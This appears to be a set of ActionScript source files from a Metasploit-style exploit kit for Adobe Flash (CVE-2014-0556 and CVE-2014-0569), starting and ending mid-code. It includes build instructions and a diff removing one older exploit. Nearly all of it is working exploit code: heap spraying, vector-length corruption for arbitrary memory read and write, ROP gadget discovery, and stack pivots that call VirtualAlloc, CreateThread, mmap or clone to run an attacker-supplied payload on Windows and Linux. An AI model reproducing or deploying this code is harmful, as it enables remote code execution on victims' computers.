eba.write(stack_address + 0x18068, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() code segment arguments
eba.write(0, 0x70000000) // 0x70000000
eba.write(0, 0x4000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, 0xffffffff) // filedes
eba.write(0, 0) // offset
// Return to mmap()
eba.write(stack_address + 0x1809c, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() stack segment arguments
eba.write(0, 0x70008000) // NULL
eba.write(0, 0x10000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, -1) // filedes
eba.write(0, 0) // offset
// Return to memcpy()
eba.write(stack_address + 0x180d0, buffer + 0x60)
// Return to stackpivot (jmp over memcpy parameters)
eba.write(0, addesp2cret)
// memcpy() parameters
eba.write(0, 0x70000000)
eba.write(0, payload_address + 0x8)
eba.write(0, payload.length)
// Return to clone()
eba.write(stack_address + 0x18104, clone)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// clone() arguments
eba.write(0, 0x70000000) // code
eba.write(0, 0x7000bff0) // stack
eba.write(0, 0x00000100) // flags CLONE_VM
eba.write(0, 0) // args
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

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package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}
public static function log(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("console.log", str);
}
}
}
}

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@ -1,185 +0,0 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite
import flash.display.BitmapData
import flash.geom.Rectangle
import flash.utils.ByteArray
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
public class Main extends Sprite
{
private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
private var uv:Vector.<Object> = new Vector.<Object>(12800)
private var bd:BitmapData = new BitmapData(128, 16)
private var i:uint = 0
public function Main()
{
var b64:Base64Decoder = new Base64Decoder()
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
var payload:String = b64.toByteArray().toString()
for (i = 0; i < bv.length; i++) {
bv[i] = new ByteArray()
bv[i].length = 0x2000
bv[i].position = 0xFFFFF000
}
for (i = 0; i < bv.length; i++)
if (i % 2 == 0) bv[i] = null
for (i = 0; i < uv.length; i++) {
uv[i] = new Vector.<uint>(1022)
}
bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
for (i = 0; ; i++)
if (uv[i].length == 0xffffffff) break
for (var i2:uint = 1; i2 < uv.length; i2++) {
if (i == i2) continue
uv[i2] = new Vector.<Object>(1014)
uv[i2][0] = bv[6401]
uv[i2][1] = this
}
uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000
bv[6401].endian = "littleEndian"
bv[6401].length = 0x500000
var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000
var main:uint = uv[i][0xfffffc09] - 1
var vtable:uint = vector_read(main)
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8)
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff)
byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8))
byte_write(uv[i][0])
var flash:uint = base(vtable)
var winmm:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", winmm)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer + 0x100, payload, true)
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x80)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x100)
byte_write(0)
byte_write(main, buffer + 0x20000)
this.toString()
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) bv[6401].position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i))
if (zero) bv[6401].writeByte(0)
} else bv[6401].writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
bv[6401].position = addr
switch(type) {
case "dword":
return bv[6401].readUnsignedInt()
case "word":
return bv[6401].readUnsignedShort()
case "byte":
return bv[6401].readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
bv[6401].position = addr + entry
if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
bv[6401].position = addr + entry
if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

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package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var contents:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) {
contents = eba.read(addr + i)
if (hint == 0xffffffff && value == contents) {
return addr + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return addr + i
}
}
throw new Error()
}
}
}

235
external/source/exploits/CVE-2014-0569/Elf.as vendored Executable file
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package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

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// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Exploit.as
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
package
{
import flash.display.Sprite
import flash.utils.ByteArray
import flash.system.ApplicationDomain
import avm2.intrinsics.memory.casi32
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
public class Exploit extends Sprite
{
private var BYTE_ARRAY_SIZE:Number = 1024
private var uv:Vector.<uint>
private var ba:ByteArray
private var b64:Base64Decoder = new Base64Decoder();
private var payload:ByteArray
private var platform:String
private var os:String
private var exploiter:Exploiter
private var defrag:Vector.<Object> = new Vector.<Object>(100)
private var ov:Vector.<Object> = new Vector.<Object>(200)
public function Exploit()
{
var i:uint = 0
var j:uint = 0
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
for (i = 0; i < defrag.length; i++) {
defrag[i] = new ByteArray()
defrag[i].length = BYTE_ARRAY_SIZE
defrag[i].endian = "littleEndian"
}
ba = new ByteArray()
ov[0] = ba
ov[0].length = BYTE_ARRAY_SIZE
ov[0].endian = "littleEndian"
for (i = 1; i < ov.length; i++) {
ov[i] = new Vector.<uint>(1014)
ov[i][0] = 0x41424344
}
ApplicationDomain.currentDomain.domainMemory = ba;
// Make ByteArray length 0 so the casi32 integer overflow
// can be exploited
ba.atomicCompareAndSwapLength(1024, 0)
try {
var uint_vector_pos:uint = search_uint_vector()
} catch (err:Error) {
Logger.log("[!] Exploit - Corrupted Vector.<uint> not found")
return
}
// Overwrite uint vector length
var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff)
for (i = 0; i < ov.length; i++) {
if (ov[i].length > 1024) {
uv = ov[i]
Logger.log("[*] Exploit - Corrupted Vector.<uint> found")
} else {
ov[i] = null
}
}
exploiter = new Exploiter(this, platform, os, payload, uv)
}
// Methods to use the integer overflow
private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
var mem:uint = 0
var mem_first_pos:uint = 0
for (var i:uint = 0; i < limit; i = i + 4) {
mem = read_byte_array(i)
mem_first_pos = read_byte_array(i + 8)
if (mem == pattern && mem_first_pos == 0x41424344) {
return i
}
}
throw new Error()
}
private function read_byte_array(offset:uint = 0):uint {
var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef)
return old
}
private function write_byte_array(offset:uint = 0, value:uint = 0):uint {
var old:uint = read_byte_array(offset)
casi32(offset, old, value)
return old
}
}
}

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package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
var i:uint
if (addr) ba.position = addr
if (value is String) {
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else if (value is ByteArray) {
var value_length:uint = value.length
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
} else ba.writeUnsignedInt(value)
}
}
}

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package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint = 1014
public function ExploitVector(v:Vector.<uint>)
{
uv = v
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

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package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:ByteArray
private var platform:String
private var op_system:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(10000)
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
{
exploit = exp
payload = p
platform = pl
op_system = os
ev = new ExploitVector(uv)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux") {
do_rop_linux()
} else if (platform == "win") {
if (op_system == "Windows 8.1") {
do_rop_windows8()
} else if (op_system == "Windows 7") {
do_rop_windows()
} else {
return
}
} else {
return
}
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_windows8():void
{
Logger.log("[*] Exploiter - do_rop_windows8()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var advapi32:uint = pe.module("advapi32.dll", flash)
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
var createthread:uint = pe.procedure("CreateThread", kernelbase)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7ffd0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7ffd0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7ffd0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var mmap:uint = libc.symbol("mmap")
var clone:uint = libc.symbol("clone")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// my_memcpy
eba.write(buffer + 0x60, "\x56", false) // push esi
eba.write(0, "\x57", false) // push edi
eba.write(0, "\x51", false) // push ecx
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
eba.write(0, "\xF3\xA4", false) // rep movsb
eba.write(0, "\x59", false) // pop ecx
eba.write(0, "\x5f", false) // pop edi
